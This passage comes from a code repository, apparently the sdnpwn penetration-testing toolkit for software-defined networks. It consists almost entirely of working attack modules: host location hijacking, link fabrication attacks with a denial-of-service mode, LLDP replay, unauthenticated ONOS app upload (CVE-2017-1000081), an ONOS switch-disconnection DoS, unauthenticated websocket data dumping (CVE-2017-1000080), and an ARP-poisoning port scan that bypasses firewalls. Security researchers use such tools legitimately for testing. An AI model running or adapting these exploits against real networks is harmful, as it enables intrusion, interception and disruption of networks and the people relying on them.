= params[params.index("--target")+1] 59 | if("--loop" in params): 60 | loop = True 61 | if("--delay" in params): 62 | loopDelay = float(params[params.index("--delay")+1]) 63 | 64 | targets = [] 65 | 66 | if(target == ""): 67 | print(info()) 68 | print(usage()) 69 | return 70 | else: 71 | 72 | thisHostIP = sdnpwn.getIPAddress(iface) 73 | 74 | startIndex = 0 75 | endIndex = 1 76 | if("/" in target): 77 | targets = ip_network(target) 78 | startIndex = 1 79 | endIndex = targets.num_addresses-2 80 | else: 81 | targets = ip_network(str(target) + "/32") 82 | 83 | for host in range(startIndex, endIndex): 84 | targetHost = targets[host].exploded 85 | vicMac = sdnpwn.getTargetMacAddress(iface, targetHost) 86 | sdnpwn.message("Hijacking location of host " + targetHost + " (" + vicMac + ")", sdnpwn.NORMAL) 87 | if(loop == True): 88 | while(haltHijackHostLocation is not True): 89 | hijackHostLocation(iface, thisHostIP, vicMac) 90 | sleep(loopDelay) 91 | else: 92 | hijackHostLocation(iface, thisHostIP, vicMac) 93 | 94 | 95 | 96 | -------------------------------------------------------------------------------- /modules/Attack/lfa_relay.py: -------------------------------------------------------------------------------- 1 | 2 | import modules.sdnpwn.sdnpwn_common as sdnpwn 3 | 4 | from subprocess import call 5 | import signal 6 | from time import sleep 7 | 8 | def info(): 9 | return "Performs the Link Fabrication Attack (LFA) using a bridge between the two given interfaces, or a bridge and GRE tunnel to link to attacking devices." 10 | 11 | def usage(): 12 | 13 | sdnpwn.addUsage("--iface1", "Set network interface 1", True) 14 | sdnpwn.addUsage("--iface2", "Set network interface 2", True) 15 | sdnpwn.addUsage("--relay", "Set relay method (bridge | tunnel)", True) 16 | sdnpwn.addUsage("--bridge-name", "Set name for bridge (Default is 'br0')") 17 | sdnpwn.addUsage("--stp", "Allow spanning tree protocol traffic (on | off) (Default 'on')") 18 | sdnpwn.addUsage("--tunnel-local", "IP address for local tunnel interface (Required for tunnel relay method)") 19 | sdnpwn.addUsage("--tunnel-remote", "IP address for remote tunnel interface (Required for tunnel relay method)") 20 | sdnpwn.addUsage("--bridge-ip", "IP address to use for bridge interface (Default '10.10.10.1/24')") 21 | 22 | 23 | return sdnpwn.getUsage() 24 | 25 | def signal_handler(signal, frame): 26 | global endRelay 27 | endRelay = True 28 | 29 | 30 | def run(params): 31 | global endRelay 32 | endRelay = False 33 | 34 | iface1 = None 35 | iface2 = None 36 | bridgeName = "br0" 37 | relayMethod = None 38 | stpForwarding = "on" 39 | bridgeIPAdd = "10.10.10.1/24" 40 | 41 | tunnelLocal = None 42 | tunnelRemote = None 43 | 44 | if("--iface1" in params): 45 | iface1 = params[params.index("--iface1")+1] 46 | if("--iface2" in params): 47 | iface2 = params[params.index("--iface2")+1] 48 | if("--bridge-name " in params): 49 | bridgeName = params[params.index("--bridge-name ")+1] 50 | if("--relay" in params): 51 | relayMethod = params[params.index("--relay")+1] 52 | if("--stp" in params): 53 | stpForwarding = params[params.index("--stp")+1] 54 | if("--tunnel-local" in params): 55 | tunnelLocal = params[params.index("--tunnel-local")+1] 56 | if("--tunnel-remote" in params): 57 | tunnelRemote = params[params.index("--tunnel-remote")+1] 58 | if("--bridge-ip" in params): 59 | bridgeIPAdd = params[params.index("--bridge-ip")+1] 60 | 61 | 62 | if(iface1 == None or relayMethod == None): 63 | sdnpwn.message("Missing options!", sdnpwn.WARNING) 64 | print(usage()) 65 | return 66 | 67 | try: 68 | if(relayMethod == "bridge"): 69 | sdnpwn.message("Creating network bridge between " + iface1 + " and " + iface2, sdnpwn.NORMAL) 70 | call(["ifconfig", iface1, "0", "down"]) 71 | call(["ifconfig", iface2, "0", "down"]) 72 | call(["brctl", "addbr", bridgeName]) 73 | call(["brctl", "addif", bridgeName, iface1]) 74 | call(["brctl", "addif", bridgeName, iface2]) 75 | call(["brctl", "stp", bridgeName, stpForwarding]) 76 | call(["ifconfig", iface1, "up"]) 77 | call(["ifconfig", iface2, "up"]) 78 | call(["ifconfig", bridgeName, "up"]) 79 | call(["echo", "16384", ">", "/sys/class/net/br0/bridge/group_fwd_mask"]) #Prevent silent dropping on LLDP frames 80 | 81 | sdn.message("Bridge setup complete!", sdnpwn.SUCCESS) 82 | 83 | elif(relayMethod == "tunnel"): 84 | if(tunnelLocal == None or tunnelRemote == None): 85 | sdnpwn.message("Missing options!", sdnpwn.WARNING) 86 | print(usage()) 87 | return 88 | 89 | sdnpwn.message("Creating tunnel", sdnpwn.NORMAL) 90 | call(["ip", "link", "add", bridgeName + "GRETap", "type", "gretap", "local", tunnelLocal, "remote", tunnelRemote]) 91 | call(["ip", "link", "set", "dev", bridgeName + "GRETap", "up"]) 92 | call(["ip", "link", "set", "dev", iface1, "up"]) 93 | call(["brctl", "addbr", bridgeName, bridgeName + "GRETap"]) 94 | call(["brctl", "addif", bridgeName, bridgeName + "GRETap"]) 95 | call(["brctl", "addif", bridgeName, iface1]) 96 | call(["ip", "addr", "add", bridgeIPAdd, "dev", bridgeName]) 97 | call(["ip", "link", "set", bridgeName, "up"]) 98 | call(["echo", "16384", ">", "/sys/class/net/br0/bridge/group_fwd_mask"]) #Prevent silent dropping on LLDP frames 99 | 100 | sdn.message("Bridge & Tunnel setup complete!", sdnpwn.SUCCESS) 101 | 102 | signal.signal(signal.SIGINT, signal_handler) 103 | sdnpwn.message("Press Ctrl+C to stop.", sdnpwn.NORMAL) 104 | 105 | while(1): 106 | sleep(3) 107 | if(endRelay is True): 108 | break 109 | 110 | print("\n") 111 | sdnpwn.message("Ending attack", sdnpwn.NORMAL) 112 | 113 | except PermissionError as e: 114 | sdnpwn.message("Needs root!", sdnpwn.ERROR) 115 | except Exception as e: 116 | sdnpwn.message("An error occured!", sdnpwn.ERROR) 117 | print(e) 118 | 119 | -------------------------------------------------------------------------------- /modules/Attack/lfa_scapy.py: -------------------------------------------------------------------------------- 1 | 2 | import modules.sdnpwn.sdnpwn_common as sdnpwn 3 | 4 | from scapy.all import * 5 | import sys 6 | import signal 7 | from subprocess import call 8 | from threading import Thread 9 | from time import sleep 10 | import hashlib 11 | import importlib.machinery 12 | import netifaces 13 | 14 | class packetHandler: 15 | 16 | pipeline = None 17 | iface1 = None 18 | iface2 = None 19 | clearToSend = 0 20 | pktCacheSize = 40 21 | pktCache1 = [] 22 | pktCache2 = [] 23 | lastLLDP1 = None 24 | lastLLDP2 = None 25 | forwardLLDPOnly = False 26 | 27 | 28 | def __init__(self): 29 | clearToSend = 0 30 | 31 | def packetIn1(self, pkt): 32 | if Ether in pkt: 33 | if((self.forwardLLDPOnly == False) or (self.forwardLLDPOnly == True and pkt.type == 0x88cc)): #Ethernet packet type 0x88cc is LLDP 34 | pktHash = hashlib.md5(str(pkt).encode()).hexdigest() 35 | if(pktHash != self.lastLLDP2): 36 | self.lastLLDP1 = pktHash 37 | if(self.pipeline is not None): 38 | pkt = self.pipeline.run(pkt) 39 | sendp(pkt, iface=self.iface2) 40 | 41 | def packetIn2(self, pkt): 42 | if Ether in pkt: 43 | if((self.forwardLLDPOnly == False) or (self.forwardLLDPOnly == True and pkt.type == 0x88cc)): #Ethernet packet type 0x88cc is LLDP 44 | pktHash = hashlib.md5(str(pkt).encode()).hexdigest() 45 | if(pktHash != self.lastLLDP1): 46 | self.lastLLDP2 = pktHash 47 | if(self.pipeline is not None): 48 | pkt = self.pipeline.run(pkt) 49 | sendp(pkt, iface=self.iface1) 50 | 51 | def stopSniffing(pkt): 52 | global runningThreads 53 | if(len(runningThreads) == 0): 54 | return True 55 | else: 56 | return False 57 | 58 | def interface1Listener(iface, handler): 59 | sniff(iface=iface, prn=handler.packetIn1, stop_filter=stopSniffing) 60 | 61 | def interface2Listener(iface, handler): 62 | sniff(iface=iface, prn=handler.packetIn2, stop_filter=stopSniffing) 63 | 64 | def signal_handler(signal, frame): 65 | global runningThreads 66 | print("\n[!] Stopping...") 67 | runningThreads.remove(runningThreads[1]) 68 | runningThreads.remove(runningThreads[0]) 69 | 70 | 71 | def info(): 72 | return "Performs the Link Fabrication Attack (LFA) using a Scapy script. This can be extended with a custom script using the --script option." 73 | 74 | def usage(): 75 | 76 | sdnpwn.addUsage("--iface1", "Set network interface 1", True) 77 | sdnpwn.addUsage("--iface2", "Set network interface 2", True) 78 | sdnpwn.addUsage("--script", "Pass traffic through a custom script. Provide script location.") 79 | sdnpwn.addUsage("--dos", "Only forward LLDP traffic and create a 'black hole' for other traffic") 80 | sdnpwn.addUsage("--verbose", "Get more output") 81 | 82 | return sdnpwn.getUsage() 83 | 84 | def run(params): 85 | global runningThreads 86 | 87 | runningThreads = [] 88 | 89 | iface1IPAddress = None 90 | iface1NetMask = None 91 | iface2IPAddress = None 92 | iface2NetMask = None 93 | defaultGWIP = None 94 | defaultGWIface = None 95 | 96 | externScript = None 97 | iface1 = None 98 | iface2 = None 99 | pipeline = None 100 | 101 | if("--verbose" not in params): 102 | conf.verb = 0 103 | 104 | if("--iface1" in params): 105 | iface1 = params[params.index("--iface1")+1] 106 | 107 | if("--iface2" in params): 108 | iface2 = params[params.index("--iface2")+1] 109 | 110 | if("--script" in params): 111 | externScript = params[params.index("--script")+1] 112 | try: 113 | loader = importlib.machinery.SourceFileLoader((externScript.split(".py")[0]).split("/")[-1], externScript) 114 | pipeline = loader.load_module() 115 | except: 116 | sdnpwn.message("Error. Could not load external script " + externScript, sdnpwn.ERROR) 117 | return 118 | 119 | sdnpwn.message("Warning: The interfaces will become unavailable for general use during the attack.", sdnpwn.WARNING) 120 | iface1IPAddress = sdnpwn.getIPAddress(iface1) 121 | iface1NetMask = sdnpwn.getNetworkMask(iface1) 122 | iface2IPAddress = sdnpwn.getIPAddress(iface2) 123 | iface2NetMask = sdnpwn.getNetworkMask(iface2) 124 | 125 | try: 126 | defaultGWIP = netifaces.gateways()['default'][netifaces.AF_INET][0] 127 | defaultGWIface = netifaces.gateways()['default'][netifaces.AF_INET][1] 128 | except: 129 | sdnpwn.message("Could not get default gateway details. Default GW will not be restored after the attack.", sdnpwn.WARNING) 130 | 131 | print("[*] Zeroing interfaces..."), 132 | call(["ifconfig", iface1, "0"]) 133 | call(["ifconfig", iface2, "0"]) 134 | print("Done.") 135 | sdnpwn.message("Running link fabrication attack using interfaces " + iface1 + " and " + iface2, sdnpwn.NORMAL) 136 | sdnpwn.message("Press Ctrl+C to stop.", sdnpwn.NORMAL) 137 | 138 | signal.signal(signal.SIGINT, signal_handler) 139 | 140 | if((iface1 != None) and (iface2 != None)): 141 | pktHandler = packetHandler() 142 | pktHandler.iface1 = iface1 143 | pktHandler.iface2 = iface2 144 | if(pipeline is not None): 145 | pktHandler.pipeline = pipeline 146 | if("--dos" in params): 147 | pktHandler.forwardLLDPOnly = True 148 | iface1Thread = Thread(target=interface1Listener, args=(iface1, pktHandler,)) 149 | iface2Thread = Thread(target=interface2Listener, args=(iface2, pktHandler,)) 150 | #iface1Thread.daemon = True 151 | #iface2Thread.daemon = True 152 | iface1Thread.setDaemon(True) 153 | iface2Thread.setDaemon(True) 154 | runningThreads.append(iface1Thread) 155 | runningThreads.append(iface2Thread) 156 | iface1Thread.start() 157 | iface2Thread.start() 158 | 159 | while(len(runningThreads) != 0): 160 | pass 161 | 162 | sdnpwn.message("Restoring interfaces", sdnpwn.NORMAL) 163 | call(["ifconfig", iface1, iface1IPAddress, "netmask", iface1NetMask]) 164 | call(["ifconfig", iface2, iface2IPAddress, "netmask", iface2NetMask]) 165 | call(["route", "add", "default", "gw", defaultGWIP, defaultGWIface]) 166 | 167 | sdnpwn.message("Done", sdnpwn.NORMAL) 168 | else: 169 | sdnpwn.message("Missing input", sdnpwn.WARNING) 170 | print(usage()) 171 | 172 | -------------------------------------------------------------------------------- /modules/Attack/lldp_replay.py: -------------------------------------------------------------------------------- 1 | 2 | import signal 3 | from scapy.all import * 4 | 5 | import modules.sdnpwn.sdnpwn_common as sdnpwn 6 | 7 | class FrameHandler: 8 | iface=None 9 | outFile=None 10 | 11 | def __init__(self, iface, outFile): 12 | self.iface = iface 13 | self.outFile = outFile 14 | 15 | def handler(self, pkt): 16 | if(pkt.type == 0x88cc): #frame is LLDP 17 | sdnpwn.message("Got LLDP frame...", sdnpwn.NORMAL) 18 | wrpcap(self.outFile, pkt) 19 | 20 | 21 | def signal_handler(signal, frame): 22 | #Handle Ctrl+C here 23 | print("") 24 | sdnpwn.message("Stopping...", sdnpwn.NORMAL) 25 | exit(0) 26 | 27 | def info(): 28 | #Description of the what the module is and what it does. This function should return a string. 29 | return "Replays LLDP traffic observed at a given interface back out the same interface." 30 | 31 | def usage(): 32 | ''' 33 | How to use the module. This function should return a string. 34 | sdnpwn_common contains functions to print the module usage in a table. 35 | These functions are "addUsage", "getUsage", and "printUsage". "addUsage" and "getUsage" are shown below. 36 | The parameters for addUsage are option, option description, and required (True or False) 37 | ''' 38 | sdnpwn.addUsage("-i | --iface", "Interface to use", True) 39 | sdnpwn.addUsage("-c | --count", "Times to replay (Default 1)", False) 40 | sdnpwn.addUsage("-w | --capture", "Capture LLDP frame to file", False) 41 | sdnpwn.addUsage("-r | --replay", "Replay captured LLDP frame from file", False) 42 | 43 | return sdnpwn.getUsage() 44 | 45 | def run(params): 46 | 47 | signal.signal(signal.SIGINT, signal_handler) #Assign the signal handler 48 | 49 | iface = sdnpwn.getArg(["--iface", "-i"], params) 50 | count = sdnpwn.getArg(["--count", "-c"], params, 1) 51 | 52 | if(sdnpwn.checkArg(["--capture", "-w"], params)): 53 | outFile = sdnpwn.getArg(["--capture", "-w"], params) 54 | frameHandler = FrameHandler(iface, outFile) 55 | sdnpwn.message("Starting listener on interface " + iface, sdnpwn.NORMAL) 56 | sniff(iface=iface, store=0, prn=frameHandler.handler, count=1, filter="ether proto 0x88cc") 57 | sdnpwn.message("LLDP frame saved to " + outFile, sdnpwn.SUCCESS) 58 | elif(sdnpwn.checkArg(["--replay", "-r"], params)): 59 | inFile = sdnpwn.getArg(["--replay", "-r"], params) 60 | pkt = rdpcap(inFile) 61 | for c in range(int(count)): 62 | sendp(pkt, iface=iface) 63 | sdnpwn.message("Replayed " + inFile + " " + str(count) + " times", sdnpwn.SUCCESS) 64 | -------------------------------------------------------------------------------- /modules/Attack/onos_app_upload.py: -------------------------------------------------------------------------------- 1 | 2 | import signal 3 | import requests 4 | import socket 5 | 6 | import modules.sdnpwn.sdnpwn_common as sdnpwn 7 | 8 | def signal_handler(signal, frame): 9 | #Handle Ctrl+C here 10 | print("") 11 | sdnpwn.message("Stopping...", sdnpwn.NORMAL) 12 | exit(0) 13 | 14 | def info(): 15 | return "Uploads an application to ONOS without authentication by exploiting CVE-2017-1000081." 16 | 17 | def usage(): 18 | 19 | sdnpwn.addUsage(["-t", "--target"], "ONOS IP", True) 20 | sdnpwn.addUsage(["-p", "--port"], "ONOS web UI port (default 8181)", False) 21 | sdnpwn.addUsage(["-a", "--app"], "Location of application to upload. Expects '.oar' file-type.", True) 22 | 23 | return sdnpwn.getUsage() 24 | 25 | def run(params): 26 | 27 | signal.signal(signal.SIGINT, signal_handler) #Assign the signal handler 28 | 29 | target = "" 30 | app = "" 31 | 32 | target = sdnpwn.getArg(["-t", "--target"], params) 33 | port = sdnpwn.getArg(["-p", "--port"], params, "8181") 34 | app = sdnpwn.getArg(["-a", "--app"], params) 35 | 36 | 37 | if(target == None or app == None): 38 | sdnpwn.printWarning("Missing required parameter.") 39 | exit(0) 40 | 41 | sdnpwn.printNormal("Attempting unauthenticated app upload (CVE-2017-1000081)") 42 | 43 | url = "http://" + target + ":" + str(port) + "/onos/ui/rs/applications/upload?activate=true" 44 | 45 | response = requests.post(url, files={'file': open(app, 'rb')}) 46 | 47 | if(response.status_code == 200): 48 | sdnpwn.printSuccess("Got 200 OK - Application uploaded and activiated!") 49 | else: 50 | sdnpwn.printWarning("Got " + str(response.status_code)) 51 | 52 | -------------------------------------------------------------------------------- /modules/Attack/onos_switch_connection_dos.py: -------------------------------------------------------------------------------- 1 | import signal 2 | 3 | import modules.sdnpwn.sdnpwn_common as sdnpwn 4 | from scapy.all import Ether, sendp, conf 5 | from time import sleep 6 | 7 | conf.verb = 0 8 | 9 | def signal_handler(signal, frame): 10 | #Handle Ctrl+C here 11 | print("") 12 | sdnpwn.message("Stopping...", sdnpwn.NORMAL) 13 | exit(0) 14 | 15 | def info(): 16 | #Description of the what the module is and what it does. This function should return a string. 17 | return "Exploit ONOS bug to disconnect the attached switch for as long as the attack persists." 18 | 19 | def usage(): 20 | sdnpwn.addUsage(["-i", "--iface"], "Interface to use.", True) 21 | sdnpwn.addUsage(["-e", "--ethertype"], "EtherType to use.", True) 22 | sdnpwn.addUsage(["-r", "--rate"], "Rate/Frequency to send packets in seconds. Modulating this can have different results.", True) 23 | 24 | return sdnpwn.getUsage() 25 | 26 | def run(params): 27 | signal.signal(signal.SIGINT, signal_handler) 28 | 29 | if(sdnpwn.checkArg(["--iface", "-i"], params) == False): 30 | sdnpwn.message("Interface required", sdnpwn.ERROR) 31 | return 32 | if(sdnpwn.checkArg(["--ethertype", "-e"], params) == False): 33 | sdnpwn.message("Ethertype required", sdnpwn.ERROR) 34 | return 35 | if(sdnpwn.checkArg(["--rate", "-r"], params) == False): 36 | sdnpwn.message("Rate required", sdnpwn.ERROR) 37 | return 38 | 39 | iface = sdnpwn.getArg(["--iface", "-i"], params) 40 | ethertype = sdnpwn.getArg(["--ethertype", "-e"], params) 41 | rate = sdnpwn.getArg(["--rate", "-r"], params) 42 | 43 | try: 44 | ethertype = int(ethertype, 16) 45 | except: 46 | sdnpwn.message("Error converting given ethertype to hex!", sdnpwn.ERROR) 47 | 48 | try: 49 | rate = float(rate) 50 | except: 51 | sdnpwn.message("Error casting rate to float!", sdnpwn.ERROR) 52 | 53 | sdnpwn.message(f"Sending Ethernet frames from {iface}", sdnpwn.NORMAL) 54 | sdnpwn.message("Starting attack...", sdnpwn.NORMAL) 55 | 56 | while(1): 57 | # Send frame with no payload to trigger bug 58 | sendp(Ether(type=ethertype), iface=iface) 59 | sleep(rate) 60 | -------------------------------------------------------------------------------- /modules/Attack/onos_websocket.py: -------------------------------------------------------------------------------- 1 | 2 | import signal 3 | import websocket 4 | import json 5 | from threading import Thread 6 | import modules.sdnpwn.sdnpwn_common as sdnpwn 7 | import tabulate 8 | 9 | updatePrefsReq = '{"event":"updatePrefReq","payload":{"key":"topo_prefs","value":{"insts":1,"summary":1,"detail":1,"hosts":0,"offdev":1,"dlbls":0,"porthl":1,"bg":0,"spr":0,"ovid":"traffic","toolbar":0}}}' 10 | requestSummary = '{"event":"requestSummary","payload":{}}' 11 | topoSelectOverlay = '{"event":"topoSelectOverlay","payload":{"activate":"traffic"}}' 12 | topoStart = '{"event":"topoStart","payload":{}}' 13 | 14 | def signal_handler(signal, frame): 15 | #Handle Ctrl+C here 16 | print("") 17 | sdnpwn.message("Stopping...", sdnpwn.NORMAL) 18 | exit(0) 19 | 20 | def info(): 21 | return "Attempts to connect to the ONOS websocket without authentication (CVE-2017-1000080). Will dump observed events from the websocket." 22 | 23 | def usage(): 24 | sdnpwn.addUsage(["-t", "--target"], "IP address of controller", True) 25 | sdnpwn.addUsage(["-p", "--port"], "Websocket port (Default 8181)", False) 26 | sdnpwn.addUsage(["-c", "--cookie"], "Add cookie (like 'JSESSIONID=1sz99uvm1z2971t18f55lmpc0d')", False) 27 | sdnpwn.addUsage(["-s", "--summary"], "Request Summary events", False) 28 | sdnpwn.addUsage(["-d", "--topo"], "Request Topology events", False) 29 | sdnpwn.addUsage(["-b", "--pretty"], "Print event information in a human readable format", False) 30 | 31 | #sdnpwn.addUsage(["-k", "--keep-alive"], "Keep websocket open and receive new events", False) 32 | 33 | return sdnpwn.getUsage() 34 | 35 | def onOpen(ws): 36 | sdnpwn.printSuccess("Connected to websocket!") 37 | #Thread(target=requestEvents, args=(ws,)).start() 38 | requestEvents(ws) 39 | 40 | def onMessage(ws, msgJSON): 41 | msg = json.loads(msgJSON) 42 | if(sdnpwn.checkArg(["-b", "--pretty"], ws.sdnpwn_params)): 43 | parseMessage(msg) 44 | else: 45 | print(json.dumps(msg, indent=4, sort_keys=True)) 46 | ws.sdnpwn_expected_events -= 1 47 | 48 | def onError(ws, err): 49 | sdnpwn.printError("Got error: " + str(err)) 50 | 51 | def onClose(ws): 52 | sdnpwn.printWarning("Connection to websocket closed!") 53 | 54 | def requestEvents(ws): 55 | if(sdnpwn.checkArg(["-s", "--summary"], ws.sdnpwn_params) == True): 56 | ws.send(requestSummary) 57 | ws.sdnpwn_expected_events += 1 58 | if(sdnpwn.checkArg(["-d", "--topo"], ws.sdnpwn_params) == True): 59 | ws.send(topoStart) 60 | ws.sdnpwn_expected_events += 1 #Number of events will depend on number of devices. Need to revise exit strategy after data dump 61 | #if(sdnpwn.checkArg(["-k", "--keep-alive"], ws.sdnpwn_params) == False): 62 | #while(ws.sdnpwn_expected_events != 0): 63 | #pass 64 | #sdnpwn.printNormal("Closing Websocket") 65 | #ws.close() 66 | 67 | def parseMessage(msg): 68 | event = msg['event'] 69 | eventHandler = { 70 | 'showSummary': parseSummary, 71 | 'bootstrap': parseBootstrap, 72 | 'addDevice': parseDevice, 73 | 'addHost': parseHost, 74 | 'topoStartDone': (lambda m: m) 75 | } 76 | eventHandler[event](msg) 77 | 78 | def parseBootstrap(msg): 79 | user = msg['payload']['user'] 80 | print("User: " + msg['payload']['user']) 81 | print("Cluster Nodes: " + str(len(msg['payload']['clusterNodes']))) 82 | for c in msg['payload']['clusterNodes']: 83 | print(" ID: " + c['id']) 84 | print(" IP: " + c['ip']) 85 | print(" Attached: " + str(c['m_uiAttached'])) 86 | print("") 87 | #print(payload) 88 | 89 | def parseSummary(msg): 90 | print(msg['payload']['title'] + " Update:") 91 | print(" Version: " + msg['payload']['props']['Version']) 92 | print(" Devices: " + msg['payload']['props']['Devices']) 93 | print(" Hosts: " + msg['payload']['props']['Hosts']) 94 | print(" Links: " + msg['payload']['props']['Links']) 95 | print(" Intents: " + msg['payload']['props']['Intents']) 96 | print(" Tunnels: " + msg['payload']['props']['Tunnels']) 97 | print(" Topology SCCs: " + msg['payload']['props']['Topology SCCs']) 98 | #print(msg) 99 | 100 | def parseDevice(msg): 101 | print("New Device:") 102 | print(" Type: " + msg['payload']['type']) 103 | print(" ID: " + msg['payload']['id']) 104 | print(" Master: " + msg['payload']['master']) 105 | print(" Online: " + str(msg['payload']['online'])) 106 | print(" Channel ID: " + msg['payload']['props']['channelId']) 107 | print(" IP Address: " + msg['payload']['props']['managementAddress']) 108 | print(" Protocol: " + msg['payload']['props']['protocol']) 109 | print(" Labels: " + str(msg['payload']['labels'])) 110 | 111 | def parseHost(msg): 112 | print("New Host:") 113 | print(" Type: " + msg['payload']['type']) 114 | print(" ID: " + msg['payload']['id']) 115 | print(" Labels: " + str(msg['payload']['labels'])) 116 | print(" Connection Point: ") 117 | print(" Device: " + msg['payload']['cp']['device']) 118 | print(" Port: " + str(msg['payload']['cp']['port'])) 119 | print(" Ingress: " + msg['payload']['ingress']) 120 | print(" Engress: " + msg['payload']['egress']) 121 | 122 | def run(params): 123 | signal.signal(signal.SIGINT, signal_handler) #Assign the signal handler 124 | 125 | if(sdnpwn.checkArg(["-t", "--target"], params)): 126 | 127 | port = str(sdnpwn.getArg(["-p", "--port"], params, 8181)) 128 | cookie = sdnpwn.getArg(["-c", "--cookie"], params, None) 129 | 130 | wsURL = "ws://" + sdnpwn.getArg(["-t", "--target"], params) + ":" + port + "/onos/ui/websock/core" 131 | #websocket.enableTrace(True) 132 | ws = websocket.WebSocketApp(wsURL) 133 | ws.on_open = onOpen 134 | ws.on_message = onMessage 135 | ws.on_error = onError 136 | ws.on_close = onClose 137 | ws.sdnpwn_params = params 138 | ws.sdnpwn_expected_events = 1 #Execting initial bootstrap event 139 | 140 | if(cookie is not None): 141 | ws.cookie = cookie 142 | 143 | sdnpwn.printNormal("Attempting connection to " + wsURL) 144 | 145 | ws.run_forever() 146 | 147 | else: 148 | print(usage()) 149 | 150 | -------------------------------------------------------------------------------- /modules/Attack/phantom_host_scan.py: -------------------------------------------------------------------------------- 1 | 2 | from scapy.all import * 3 | import sys 4 | import signal 5 | from threading import Thread 6 | from time import sleep 7 | import random 8 | import netifaces 9 | 10 | try: 11 | import modules.sdnpwn.sdnpwn_common as sdnpwn 12 | except: 13 | import sdnpwn_common as sdnpwn 14 | 15 | import modules.Attack.dp_arp_poison as dpap 16 | 17 | numsUsed = [] 18 | poisoningThread = None 19 | sniffingThread = None 20 | 21 | def info(): 22 | return "Performs a firewall and ACL bypassing port scan using the DP ARP cache poisoning technique. This attack requires that the controller floods packets destined for hosts with an unknown network location." 23 | 24 | def usage(): 25 | 26 | sdnpwn.addUsage("--iface", "Interface to use", True) 27 | sdnpwn.addUsage("--target-ip", "IP address of target", True) 28 | sdnpwn.addUsage("--target-mac", "MAC address of target") 29 | sdnpwn.addUsage("--ports", "Ports to scan. Seperate with comma (e.g. 22,23,80)", True) 30 | sdnpwn.addUsage("--phantom-ip", "IP address to give Phantom Host", True) 31 | sdnpwn.addUsage("--phantom-mac", "MAC address to give Phantom Host") 32 | 33 | return sdnpwn.getUsage() 34 | 35 | def prepForScan(interface, targetIP, targetMAC, thisHostIP, thisHostMAC, phantomIP, phantomMAC): 36 | global scanPrepped 37 | global poisoningThread 38 | 39 | sdnpwn.message("Inserting entery for Phantom Host in target ARP cache...", sdnpwn.NORMAL) 40 | sdnpwn.message("Sending SYN from Phantom (" + phantomIP + ") to " + targetIP, sdnpwn.NORMAL) 41 | sendTCPSYN(interface, targetIP, targetMAC, getUniqueNum(), phantomIP, thisHostMAC, getUniqueNum(), getUniqueNum()) 42 | 43 | sdnpwn.message("Waiting for ARP request for Phantom (" + phantomIP + ")", sdnpwn.NORMAL) 44 | sniff(iface=interface, filter="arp and host " + targetIP, store=0, count=1) 45 | sdnpwn.message("Done. IP should be in cache", sdnpwn.SUCCESS) 46 | scanPrepped = True 47 | 48 | try: 49 | if(poisoningThread == None): 50 | poisoningThread = Thread(target=dpap.arpCachePoison, args=(interface, targetIP, targetMAC, phantomIP, phantomMAC, thisHostIP, thisHostMAC, True, 2)).start() 51 | except Exception as e: 52 | sdnpwn.message("Issue starting poisoning thread", sdnpwn.ERROR) 53 | print(e) 54 | exit(0) 55 | 56 | def scan(interface, targetIP, targetMAC, thisHostIP, thisHostMAC, phantomIP, phantomMAC, targetPort): 57 | global scanPrepped 58 | 59 | if(scanPrepped == None or scanPrepped == False): 60 | prepForScan(interface, targetIP, targetMAC, thisHostIP, thisHostMAC, phantomIP, phantomMAC) 61 | sourcePort = getUniqueNum() 62 | tcpSeqNum = getUniqueNum() 63 | 64 | sniffingThread = Thread(target=listen, args=(interface, targetIP, targetMAC, targetPort, phantomIP, sourcePort, tcpSeqNum)).start() 65 | sleep(1) 66 | sdnpwn.message("Checking Port " + targetPort, sdnpwn.NORMAL) 67 | sendTCPSYN(interface, targetIP, targetMAC, targetPort, phantomIP, thisHostMAC, sourcePort, tcpSeqNum) 68 | 69 | def sendTCPSYN(interface, targetIP, targetMAC, targetPort, srcIP, srcMac, sourcePort, tcpSeqNum): 70 | ether = Ether(src=srcMac, dst=targetMAC) 71 | ip = IP(src=srcIP, dst=targetIP) 72 | tcpSYN = TCP(sport=sourcePort, dport=int(targetPort), flags="S", seq=tcpSeqNum) 73 | pkt = ether/ip/tcpSYN 74 | sendp(pkt,iface=interface) 75 | 76 | def listen(interface, targetIP, targetMAC, targetPort, sourceIP, sourcePort, tcpSeqNum): 77 | sniff(iface=interface, prn=listenerCallback(interface,targetIP,targetMAC,targetPort,sourceIP,sourcePort,tcpSeqNum), store=0, stop_filter=stopFilter(sourceIP)) 78 | 79 | def listenerCallback(interface, targetIP, targetMAC, targetPort, sourceIP, sourcePort, tcpSeqNum): 80 | def packetHandler(pkt): #This is the function scapy will use as the callback 81 | if(TCP in pkt): 82 | if(pkt[IP].src == targetIP and pkt[TCP].dport == sourcePort): 83 | flags = getFlags(pkt[TCP].flags) 84 | if(flags == "SA"): 85 | sdnpwn.message("Port " + targetPort + " open", sdnpwn.SUCCESS) 86 | elif(flags == "RA"): 87 | sdnpwn.message("Port " + targetPort + " closed", sdnpwn.ERROR) 88 | else: 89 | sdnpwn.message("Got flags " + flags + " for port " + targetPort, sdnpwn.WARNING) 90 | return 91 | return packetHandler 92 | 93 | def getFlags(pktFlags): 94 | flags = "" 95 | if(pktFlags & 0x01): #FIN 96 | flags+="F" 97 | if(pktFlags & 0x02): #SYN 98 | flags+="S" 99 | if(pktFlags & 0x04): #RST 100 | flags+="R" 101 | if(pktFlags & 0x08): #PSH 102 | flags+="P" 103 | if(pktFlags & 0x10): #ACK 104 | flags+="A" 105 | if(pktFlags & 0x20): #URG 106 | flags+="U" 107 | if(pktFlags & 0x40): #ECE 108 | flags+="E" 109 | if(pktFlags & 0x80): #CWR 110 | flags+="C" 111 | 112 | return flags 113 | 114 | def stopFilter(sourceIP): 115 | def stopper(pkt): 116 | if(TCP in pkt): 117 | if(pkt[IP].dst == sourceIP): 118 | return True 119 | else: 120 | return False 121 | return stopper 122 | 123 | def getUniqueNum(): 124 | global numsUsed 125 | 126 | if(len(numsUsed) > 1000): 127 | numsUsed = [] 128 | num = random.randint(35000, 60000) 129 | if(num not in numsUsed): 130 | numsUsed.append(num) 131 | return num 132 | else: 133 | return getUniqueNum() 134 | 135 | def signal_handler(signal, frame): 136 | sdnpwn.message("Stopping...", sdnpwn.NORMAL) 137 | #for t in runningThreads: 138 | #runningThreads.remove(t) 139 | sys.exit(0) 140 | 141 | def run(params): 142 | global scanPrepped 143 | 144 | scanPrepped = False 145 | conf.verb = 0 #Set scapy verbose mode off 146 | 147 | signal.signal(signal.SIGINT, signal_handler) 148 | 149 | interface = None 150 | targetIP = None 151 | targetMAC = 